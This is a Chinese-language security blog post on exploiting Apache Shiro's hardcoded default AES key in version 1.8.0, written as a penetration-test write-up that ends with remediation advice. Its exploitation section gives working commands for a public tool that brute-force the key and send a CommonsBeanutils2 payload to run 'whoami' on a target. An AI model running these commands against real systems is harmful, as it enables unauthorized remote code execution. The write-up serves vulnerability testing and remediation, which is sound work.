在Shiro反序列化漏洞修復的過程中,如果僅進行Shiro的版本升級,而沒有重新生成密鑰,那么AES加密的默認密鑰扔硬編碼在代碼里,仍然會存在反序列化風險。
01、漏洞案例
本案例引用的shiro版本已是目前最新的1.8.0。嘗試訪問系統進行登錄,抓包獲取參數特征,包含xxx_rememberMe=deleteMe字段。
注意:在Shiro1.4.2版本后,Shiro的加密模式由AES-CBC更換為 AES-GCM,Shiro高版本下的漏洞利用,就需要考慮加密模式變化的情況。另外,這里cookie傳遞的參數是自定義的,而不是常見的rememberMe,這也是需要注意的地方。
02、漏洞利用
為了減少手工構造生成反序列化數據的繁瑣,這里,我們使用一個Shiro反序列化利用工具,python編寫,而且作者增加了AES-GCM加密方式的漏洞利用支持,可以很方便地進行修改和參數構建,
Github項目地址:
https://github.com/Ares-X/shiro-exploit.git
首先,我們需要修改python腳本參數,將rememberMe 替換為 xxx_remeberme,使參數能夠正常傳遞。
利用腳本來爆破Shiro key:
python shiro-exploit.py check -u http://10.xxx.xxx.72/shiro-cas.shtml
成功獲取到了Shiro key。
發送回顯Payload,獲取命令執行結果。
python shiro-exploit.py echo -g CommonsBeanutils2 -v 2 -k 3AvVhmFLUs0KTA3Kprsdag== -c whoami -u http://10.xxx.xxx.72/shiro-cas.shtml
修改python腳本設置代理,在requests使用代理proxies,增加proxies={'http': 'http://' + '127.0.0.1:8888'}。
這樣就可以將流量引入BurpSuite,抓取HTTP數據包,手動利用查看回顯。
以上便是Shiro高版本下默認密鑰的漏洞利用過程,So,修復Shiro默認密鑰漏洞,除了升級shiro至最新版本,一定要注意生成新的密鑰替換。
PS:記錄個有意思的事情,之前有個內部系統確認過Shiro版本和密鑰都有更換,但后來還是被檢測到存在漏洞,一度有點懷疑人生。找開發一起排查了一下,原來有兩台服務器負載,其中一台是修復了,還有一台舊服務器被遺忘了。我復測的時候是修復的狀態,別人一掃描,漏洞還存在,直接淚崩。